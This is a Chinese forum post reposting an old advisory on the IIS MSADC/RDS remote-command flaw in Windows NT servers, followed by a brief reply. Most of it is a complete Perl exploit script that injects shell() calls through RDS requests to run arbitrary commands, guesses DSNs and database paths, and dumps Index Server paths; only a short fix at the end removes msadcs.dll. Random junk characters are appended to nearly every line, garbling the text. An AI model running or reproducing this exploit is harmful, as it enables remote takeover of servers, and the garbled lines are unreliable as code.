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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 9kas]zQ%=P  
pf_`{2.\uO  
涉及程序: d 4;   
Microsoft NT server 42 rIIJ1A  
S ^@# %>  
描述: [\"<=lb`  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 gL wNHS  
.wuRT>4G)G  
详细: #pMpGw$  
如果你没有时间读详细内容的话,就删除: yL3F  
c:\Program Files\Common Files\System\Msadc\msadcs.dll oeG?2!Zh  
有关的安全问题就没有了。 p,2H8I){  
9/5 EyV  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 tkhEjTZ  
TfA;4 ^  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 &_Gu'A({J  
关于利用ODBC远程漏洞的描述,请参看:  #U/L8  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3T@`V FbE  
<kWNx.eci  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 R!_1*H$  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1++Fs  
atfK?VK#  
这里不再论述。 \ id(P3M  
FVoKNaK-  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: + hMF\@  
G#z9=NF~V  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset hhr>nuA  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! Um I,?p  
;DI"9  
g_MxG!+(V  
#将下面这段保存为txt文件,然后: "perl -x 文件名" 2}#VB;B  
-"n8Wv  
#!perl >  ,P,{"  
# f.U.(  
# MSADC/RDS 'usage' (aka exploit) script a~`,zQ -@  
# %A;s 3 ]V  
# by rain.forest.puppy ?B:],aztf  
# 4yRX{Bl|  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me @XX7ydG5  
# beta test and find errors! d>1#|  
7e<\11uI]a  
use Socket; use Getopt::Std; v7D3aWoe  
getopts("e:vd:h:XR", \%args); KKJa?e`C  
6Nz S<  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; #4?:4Im#  
U{-[lpd  
if (!defined $args{h} && !defined $args{R}) { c}#(,<8X  
print qq~ @-}!o&G0  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z+! 96LR  
-h <host> = host you want to scan (ip or domain) -<gQ>`(0  
-d <seconds> = delay between calls, default 1 second x!9bvQT  
-X = dump Index Server path table, if available !o/;"'&E  
-v = verbose Yk#$-"c/a  
-e = external dictionary file for step 5 l)91v"vJ  
VV=6v;u`  
Or a -R will resume a command session ]hA]o7 k  
;5}y7#4C  
~; exit;} R~XNF/QMl  
I$Fr8R$  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; ~2?UEv6  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} fZJO}  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} \W})Z72  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 0XrOOYmx  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} %v1*D^))  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } *XqS~G  
%Wb$qpa  
if (!defined $args{R}){ $ret = &has_msadc; / , .rUn1  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} )]m_ L$9  
:X- \!w\  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" xT3l>9i  
. "cmd /c "; Dlu]4n[LB  
$in=<STDIN>; chomp $in; 7#iT33(3  
$command="cmd /c " . $in ; C)qP9uW  
,DWC=:@X  
if (defined $args{R}) {&load; exit;} fm^)u"  
38(|a5  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; :vy./83W  
&try_btcustmr; oJ)v6"j  
rZ7)sE5L  
print "\nStep 2: Trying to make our own DSN..."; ?anKSGfj  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; +jz%:D  
tM{U6k  
print "\nStep 3: Trying known DSNs..."; -`e`U%n  
&known_dsn; [$(/H;  
>CPoeIHK  
print "\nStep 4: Trying known .mdbs..."; ZlsdO.G  
&known_mdb; ~m@w p  
 .)XJ-  
if (defined $args{e}){ .FAuM~_99b  
print "\nStep 5: Trying dictionary of DSN names..."; 6dX l ny1H  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } h2Jdcr#@FF  
DYvg^b  
print "Sorry Charley...maybe next time?\n"; 4xNzhnp|  
exit; O\qY? )  
<\5Y~!)  
############################################################################## \%:]o-+"I  
>iB-gj}>X  
sub sendraw { # ripped and modded from whisker x<e-%HB*-  
sleep($delay); # it's a DoS on the server! At least on mine... mdD9Q N01  
my ($pstr)=@_; 'P?DZE  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || * ;C8g{  
die("Socket problems\n"); n`)wD~mk  
if(connect(S,pack "SnA4x8",2,80,$target)){ bR*T}w$<  
select(S); $|=1; $}OU~d1q  
print $pstr; my @in=<S>; B {/Pv0y   
select(STDOUT); close(S); YT, 1E>rd  
return @in; ozkN&0  
} else { die("Can't connect...\n"); }} }PyAmh$@  
F!`.y7hY@  
############################################################################## *xU^e`P  
[CRy>hfV  
sub make_header { # make the HTTP request Y: KB"H  
my $msadc=<<EOT V>A@Sw  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 k'%c|kx8U  
User-Agent: ACTIVEDATA :'Imz   
Host: $ip 52l|  
Content-Length: $clen AWQwpaj-  
Connection: Keep-Alive >eAlz 4  
A~nq4@uj  
ADCClientVersion:01.06 ( rZq0*  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 jDgiH}  
N.xmHvPk  
--!ADM!ROX!YOUR!WORLD! SY<!-g<1F  
Content-Type: application/x-varg  T_jwj N  
Content-Length: $reqlen b |m$ W  
: [aUpX=  
EOT *[W!ng  
; $msadc=~s/\n/\r\n/g; YZpF*E;6t  
return $msadc;} %>xW_5;Z  
f:"es: Fb  
############################################################################## AZl|; y  
wc~a}0uz  
sub make_req { # make the RDS request .yi.GRk  
my ($switch, $p1, $p2)=@_; ./5|i*ow  
my $req=""; my $t1, $t2, $query, $dsn; rI; e!EW  
8-juzL}  
if ($switch==1){ # this is the btcustmr.mdb query |%&WYm6&#  
$query="Select * from Customers where City=" . make_shell(); b*dRNu  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . rx_'(  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 7gD$Q  
7ou2SL}k  
elsif ($switch==2){ # this is general make table query y7d)[d*Mz  
$query="create table AZZ (B int, C varchar(10))"; 4d0PW#97.  
$dsn="$p1";} q$b/T+-ec  
,W*<e-  
elsif ($switch==3){ # this is general exploit table query OX|/yw8  
$query="select * from AZZ where C=" . make_shell(); KQ3)^J_Z  
$dsn="$p1";} .HZYSY:X  
e *;"$7o9  
elsif ($switch==4){ # attempt to hork file info from index server {l *ps-fi  
$query="select path from scope()"; #MGZje,I  
$dsn="Provider=MSIDXS;";} qYsu3y)*N  
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elsif ($switch==5){ # bad query :8Q6=K87  
$query="select"; ,@Ed)Zoh  
$dsn="$p1";} z ; :E~;  
CmJ*oXyi  
$t1= make_unicode($query); TrkoLJmB  
$t2= make_unicode($dsn); : ]CZS  
$req = "\x02\x00\x03\x00"; ^U~YG=!ww  
$req.= "\x08\x00" . pack ("S1", length($t1)); <ezvz..g  
$req.= "\x00\x00" . $t1 ; Q$kSK+ q!  
$req.= "\x08\x00" . pack ("S1", length($t2)); OWOj|jM  
$req.= "\x00\x00" . $t2 ; er l_Gg  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; a&XURyp  
return $req;} $G*$j!  
T=b5th}  
############################################################################## g%4|vA8  
;zSh9H  
sub make_shell { # this makes the shell() statement !R)v2Mk|  
return "'|shell(\"$command\")|'";} E@ t~juF!  
? 76jz>;b  
############################################################################## 3b#KrN'  
3TtnLay.k  
sub make_unicode { # quick little function to convert to unicode X`J~3s  
my ($in)=@_; my $out; jw(v08u >  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } _h@e.BtDs  
return $out;} 8@b@y|#]X  
O$#`he/jm  
############################################################################## EkOBI[`  
!30Dice  
sub rdo_success { # checks for RDO return success (this is kludge) {:{NK%  
my (@in) = @_; my $base=content_start(@in); n!3_%K0!r&  
if($in[$base]=~/multipart\/mixed/){ c1MALgK~}\  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 4\Q ?4ZX  
return 0;} i'`Z$3EF)  
QabF(}61  
############################################################################## 6AZ/whn#  
&:'Uh W-t  
sub make_dsn { # this makes a DSN for us dk{yx(Ty  
my @drives=("c","d","e","f");  eCk}B$ 2  
print "\nMaking DSN: "; M@8 <^CK  
foreach $drive (@drives) { ]_F%{8|  
print "$drive: "; Zr oj-3-X~  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . /pX\)wi  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" a7OD%yQ  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); \7gLk:  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; 7M^!t X  
return 0 if $2 eq "404"; # not found/doesn't exist `sJkOEc`  
if($2 eq "200") { hQ8/-#LO_  
foreach $line (@results) { '>2xP<ct!&  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} _j <46^  
} return 0;} ETjlq]@j  
r+ v*(Tu  
############################################################################## 9:YiLoz?  
\gj@O5rGP  
sub verify_exists { X`^9a5<"  
my ($page)=@_; &W`yHQ"JY  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ]#R;%L  
return $results[0];}  SvDVxK  
M<g>z6   
############################################################################## Qmzj1e$6x  
EvQN(_  
sub try_btcustmr { n1.]5c3p  
my @drives=("c","d","e","f"); _YO` x  
my @dirs=("winnt","winnt35","winnt351","win","windows"); }&`#  
3vNoD  
foreach $dir (@dirs) { &[qL l  
print "$dir -> "; # fun status so you can see progress }|{yd03 +  
foreach $drive (@drives) { a|T P2m  
print "$drive: "; # ditto vL\wA_z"<H  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; "fr B5[  
$reqlenlen=length( "$reqlen" ); 1&Nk  
$clen= 206 + $reqlenlen + $reqlen; \W}?4kz  
^<[oKi;>  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); kJHUaXM  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} 1th|n  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} m0XK?;\V  
KzI$GU3  
############################################################################## &Q(Q/]U~  
IkL|bV3E0  
sub odbc_error { 'zi5ihiT  
my (@in)=@_; my $base; sAC1Pda  
my $base = content_start(@in); ,? <jue/bd  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this GkaIqBS  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; UH.M)br  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ZMy7z|  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .+|G`*1<i  
return $in[$base+4].$in[$base+5].$in[$base+6];} )MmMs"Um  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; @H1pPr  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . #CHsH{d  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} b3<<4Vf  
tiI>iP`!  
############################################################################## ]^/:Xsk$  
n M,m#"AI  
sub verbose { \SA5@.W  
my ($in)=@_; M+ 8!#n  
return if !$verbose; _I3j 7f,V  
print STDOUT "\n$in\n";} +:mj]`=  
LL#7oBJdM  
############################################################################## 9k&lq$  
c^Rz?2x  
sub save { x4 4)o:  
my ($p1, $p2, $p3, $p4)=@_; ;BejFcb  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Bx j6/a7Xd  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; q~_Nv5r%O  
close OUT;} M)V z9,  
it D%sKo  
############################################################################## e7>)Z  
D0us<9q  
sub load { Bwn9ZYu#r  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; y%v<Cp@R  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); * j:  
@p=<IN>; close(IN); wvp\'* $  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 0F0V JE  
$target= inet_aton($ip) || die("inet_aton problems"); W6E9  
print "Resuming to $ip ..."; 9kH~+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ;!Ojb  
if($p[1]==1) { vXq=f:y4  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; &s\$&%|  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; }sd-X`lZ  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); j K$4G.x  
if (rdo_success(@results)){print "Success!\n";} Y^2`)':  
else { print "failed\n"; verbose(odbc_error(@results));}} %R7Q`!@8  
elsif ($p[1]==3){ pvDr&n9  
if(run_query("$p[3]")){ z%`Tf&UL  
print "Success!\n";} else { print "failed\n"; }} A\i /@x5#  
elsif ($p[1]==4){ \G#Qe*"'K  
if(run_query($drvst . "$p[3]")){ *;,=x<  
print "Success!\n"; } else { print "failed\n"; }} agM.-MK  
exit;} Kbg`ZO*  
c<y.Y0  
############################################################################## {5#P1jlT  
Olj]A]v}  
sub create_table { 3wX{U8mrg  
my ($in)=@_; cx_[Y  
$reqlen=length( make_req(2,$in,"") ) - 28; Z?ZcQ[eC  
$reqlenlen=length( "$reqlen" ); h<Yn0(.  
$clen= 206 + $reqlenlen + $reqlen; Gyjx:EM  
my @results=sendraw(make_header() . make_req(2,$in,"")); Y H 2i V  
return 1 if rdo_success(@results); lqF{Y<l  
my $temp= odbc_error(@results); verbose($temp); }2:bYpYQ  
return 1 if $temp=~/Table 'AZZ' already exists/; i74^J+xk  
return 0;} {l0;G) -  
$Y,,e3R3  
############################################################################## v@XQ)95]F  
5y(irbk7  
sub known_dsn { J.$<Lnt>u  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ]n _-  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", T 2x~fiM  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ^n@iCr9  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Zv7@  
' uo`-Y  
foreach $dSn (@dsns) { w_KGn17  
print "."; $\81WsL '  
next if (!is_access("DSN=$dSn")); U"%k4]:A  
if(create_table("DSN=$dSn")){ [l- zU}u&v  
print "$dSn successful\n"; HoH3.AY X  
if(run_query("DSN=$dSn")){ }E*d)n|  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { CV]PCq!  
print "Something's borked. Use verbose next time\n";}}} print "\n";} <j ;HRm  
:54|Z5h|  
############################################################################## g"(N_sv?  
$C9<{zX   
sub is_access { yZ0;\Tr*J  
my ($in)=@_; -fL|e/   
$reqlen=length( make_req(5,$in,"") ) - 28; X-:Ni_O\ty  
$reqlenlen=length( "$reqlen" ); wS``Q8K+dM  
$clen= 206 + $reqlenlen + $reqlen; 0a8nBo7A-X  
my @results=sendraw(make_header() . make_req(5,$in,"")); n  'P:  
my $temp= odbc_error(@results); "*+epC|ks  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Ct}"o  
return 0;} ^}/YGAA  
II>X6  
############################################################################## i$"FUC~'  
=!#D UfQf  
sub run_query { ^3=8*Xr  
my ($in)=@_; )Bb :tz+  
$reqlen=length( make_req(3,$in,"") ) - 28; LaN4%[;X1-  
$reqlenlen=length( "$reqlen" ); .8b 4  
$clen= 206 + $reqlenlen + $reqlen; Z"Et]xSU%$  
my @results=sendraw(make_header() . make_req(3,$in,"")); m+OR W"o  
return 1 if rdo_success(@results); MYN1zYT6j  
my $temp= odbc_error(@results); verbose($temp); <>j, Q  
return 0;} a.%]5%O;t  
y*uL,WH  
############################################################################## pM(y?zGt  
c}QQ8'_  
sub known_mdb { &cpRB&bf  
my @drives=("c","d","e","f","g"); U-WrZ|-  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ,P auP~L  
my $dir, $drive, $mdb; B@iIj<p~  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; _F@FcFG1Z*  
 }Ecm  
# this is sparse, because I don't know of many V{d"cs>9  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ,pLesbI  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", t8?+yG;  
"\\system32\\certmdb.mdb", 6@l:(-(j2A  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ?7G[`@^Y  
'kx{0J?  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 4a!L/m *  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ?[m5|ty#  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", l@j!j]nE  
"\\cfusion\\cfapps\\security\\realm_.mdb", j<l>+., U  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ?nt6vqaV  
"\\cfusion\\database\\cfexamples.mdb", C{2 UPG4x  
"\\cfusion\\database\\cfsnippets.mdb", @&EP& $*  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", OcSLRN?t  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 9R ugkGy  
"\\cfusion\\brighttiger\\database\\cleam.mdb", V KR6i  
"\\cfusion\\database\\smpolicy.mdb", G53!wIW2:  
"\\cfusion\\database\cypress.mdb", O$&p<~  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", gl!3pTC  
"\\website\\cgi-win\\dbsample.mdb", _')KDy7  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", JT_#>',  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" C}00S{nAZ  
); #these are just ")sq?1?X  
foreach $drive (@drives) { ]h|GaHiE  
foreach $dir (@dirs){ 7 'f>  
foreach $mdb (@sysmdbs) { lT(MywNsg  
print "."; A$5!]+  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ $hEX,  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; }RyYzm2  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ \}<nXn!  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Ql\GL"  
} else { print "Something's borked. Use verbose next time\n"; }}}}} #K4wO!d  
L^0jyp  
foreach $drive (@drives) { `[:f;2(@  
foreach $mdb (@mdbs) { Ybok[5  
print "."; |H |ewVUY  
if(create_table($drv . $drive . $dir . $mdb)){ Y)a 7osML  
print "\n" . $drive . $dir . $mdb . " successful\n"; kj-S d^  
if(run_query($drv . $drive . $dir . $mdb)){ N*$Q(K  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; : 0%V:B  
} else { print "Something's borked. Use verbose next time\n"; }}}} M&>Z[o  
}  oR5`-  
'7E?|B0],  
############################################################################## K}wUM^  
VvPTL8Z  
sub hork_idx { :ox+WY  
print "\nAttempting to dump Index Server tables...\n"; D vK}UAj=  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; fo5!d@Nv  
$reqlen=length( make_req(4,"","") ) - 28; "4ovMan  
$reqlenlen=length( "$reqlen" ); ,7/N=mz  
$clen= 206 + $reqlenlen + $reqlen; gMgbqGF)  
my @results=sendraw2(make_header() . make_req(4,"","")); TYB^CVSZ  
if (rdo_success(@results)){ RE*SdazY?  
my $max=@results; my $c; my %d; m"xw5aa>  
for($c=19; $c<$max; $c++){ u/``*=Y@  
$results[$c]=~s/\x00//g; %+`$Lb?{  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 3 UBG?%!$f  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; g y&B"`  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; +=:CW'B5  
$d{"$1$2"}="";} N.3M~0M*  
foreach $c (keys %d){ print "$c\n"; } *xt3mv/<z  
} else {print "Index server doesn't seem to be installed.\n"; }} f4:g D*YT  
^S[Mg6J  
############################################################################## eyUo67'7  
N|8TE7- F|  
sub dsn_dict { WzZb-F  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); NPKRX Li%  
while(<IN>){ X_"TG;*$  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; iGm[fxQ|  
next if (!is_access("DSN=$dSn")); ]JtK)9  
if(create_table("DSN=$dSn")){ uE+]]ir  
print "$dSn successful\n"; lB3W|-Ci  
if(run_query("DSN=$dSn")){ &s\w: 9In  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { n Hy|  
print "Something's borked. Use verbose next time\n";}}} rHh<_5-/>  
print "\n"; close(IN);} 8g&uCv/Uk  
R~;<}!Gtx  
############################################################################## aQw?r  
)CEfG  
sub sendraw2 { # ripped and modded from whisker @/XA*9]l  
sleep($delay); # it's a DoS on the server! At least on mine... vA:1z$m  
my ($pstr)=@_; hcwKi  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @)|62Dv /  
die("Socket problems\n"); XkOsnI8n  
if(connect(S,pack "SnA4x8",2,80,$target)){ GuNzrKDr  
print "Connected. Getting data"; ti3T ?_  
open(OUT,">raw.out"); my @in; i5q VQo  
select(S); $|=1; print $pstr; LEWeybT  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} j8L!miv6  
close(OUT); select(STDOUT); close(S); return @in; &8z`]mB{t  
} else { die("Can't connect...\n"); }} Hh4$Qr;R  
5fA<I _ D  
############################################################################## 'eZ UNX  
pQ!NhzQ  
sub content_start { # this will take in the server headers seB ^o}  
my (@in)=@_; my $c; G!uoKiL  
for ($c=1;$c<500;$c++) { nYLq%7}k  
if($in[$c] =~/^\x0d\x0a/){ g%Sl+gWdJ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } $&I##od  
else { return $c+1; }}} >PGW>W$  
return -1;} # it should never get here actually y}FTLX $  
M6[&od  
############################################################################## bM; ==W  
0V@u]  
sub funky { Cq(dj^/~m  
my (@in)=@_; my $error=odbc_error(@in); Q &<:W4N*  
if($error=~/ADO could not find the specified provider/){ J 6D?$  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; $0~H~ -  
exit;} !-_0I:m  
if($error=~/A Handler is required/){ Az8>^|@  
print "\nServer has custom handler filters (they most likely are patched)\n"; NiQ`,Q$B  
exit;} ~k'KS 7c  
if($error=~/specified Handler has denied Access/){ & gnE"  
print "\nServer has custom handler filters (they most likely are patched)\n"; `lX |yy"  
exit;}} XXBN Nr_CK  
Y!N *J  
##############################################################################  yl0&|Ub  
33z)F  
sub has_msadc { i<@6f'Kir  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ^mz&L|h  
my $base=content_start(@results); ;P3sDN  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); L0H;y6&  
return 0;} hy3j8?66  
.'k]]2%ILp  
######################## .&:y+Oww~  
UE3(L ^  
eK PxSN Z  
解决方案: _w0t+=&  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll BQu_)@  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 3NAU|//J  
~b;l08 <  
拿出来充数 哈哈
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